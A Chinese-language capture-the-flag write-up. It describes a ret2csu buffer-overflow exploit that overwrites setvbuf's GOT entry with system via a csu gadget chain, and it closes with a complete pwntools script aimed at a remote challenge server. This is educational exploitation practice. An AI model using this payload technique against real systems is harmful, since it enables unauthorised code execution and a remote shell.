首先检查一下保护,发现基本上没有。
然后用ida打开发现,就一个gets函数可以利用。
由于没开canary,所以这里可以轻松溢出,但是由于程序只调用了
没有输出函数,所以没办法直接泄露函数真实地址,打常规的ret2libc。不过好在程序里有csu函数,还可以打ret2csu。不过还是上面那个原因,不能直接获得函数的真实地址,所以只能找函数的相对偏移。这里在ida里直接看汇编代码,可以发现main函数上面有下图中红色的这部分代码
然后配合上csu函数中控制rbp和rbx的
可以直接改变rbp-0x3d这个地方存放的东西。那么思路就清晰了。首先gets函数是不检查输入长度的,所以我们可以随便控制函数的运行流程
其次,我们没办法知道函数的真实地址,但是我们可以通过libc文件知道函数之间的相对偏移。而且我们还可以控制一个地方的内容。那么我们就可以改写got表了,这里一共就两个函数的got表可以获得,由于需要gets函数给即将获得的system函数提供参数,所以只能改写setvbuf的got表,将里面存放的setvbuf的真实地址改为system的真实地址(通常都是改这个)。获取偏移的代码如下
这里有两个要注意的点,第一个就是这个题目给的libc文件和远程环境的不一样,直接用它给的libc算的偏移是错的。所以要用glibc-all-in-one下载题目提示给的libc版本。第二点就是offset要&上0xFFFFFFFFFFFFFFFF,两者的差别就在于前者会被视为有符号的整数,后者会被当作无符号整数。而前者在输入的时候会报错(超出p64打包的数字范围(0-2的64次方-1)),修改前后结果如下
然后接下来即使正式开始准备溢出了。代码如下
首先将需要用到的gadget全部准备一下。然后其实就没什么了。先溢出到栈中ret的地址,将ret的地址改为csu函数的地址,然后根据csu函数汇编部分的代码,依次填入rbx和rdx等,由于后面的几个寄存器没有用到所以直接置零。然后跳转到我们上述用来修改指定地点的代码部分,这样就能将setvbuf的got表里面存放的setvbuf的真实地址改为system的真实地址。这样下次调用setvbuf函数实际上就是调用system函数。那我们现在就是要给system函数提供参数/bin/sh\x00了,这里我们利用gets函数向可写段中写入字符串,正常来说最好用pwngdb的vmmap看一下哪里可写,不过不知道为什么我调试不了,所以直接看bss段里有没有可写的部分。然后发现0x6010800这部分有很大的空间,看着很想可写段,试一下确实可写。所以直接用gets函数往这里写入字符串,然后再调用setvbuf函数(此时已被修改为system函数)就可以获得shell。最后代码如下
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') elf=ELF('/mnt/hgfs/share/3/pwn') libc=ELF('/home/loser/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') print(hex(libc.sym['setvbuf'])) print(hex(libc.sym['system'])) offset=libc.sym['system']-libc.sym['setvbuf'] print(hex(offset)) offset=offset&0xFFFFFFFFFFFFFFFF print(hex(offset)) p=remote('gz.imxbt.cn',20369) setvbuf_plt=elf.plt['setvbuf'] setvbuf_got=elf.got['setvbuf'] gets_plt=elf.plt['gets'] csu_addr=0x4006EA gadget=0x400658 rdi=0x00000000004006f3 bss=0x601080 payload=b'a'*0x10+p64(csu_addr)+p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(gadget) payload+=p64(rdi)+p64(bss)+p64(gets_plt)+p64(rdi)+p64(bss)+p64(setvbuf_plt) p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()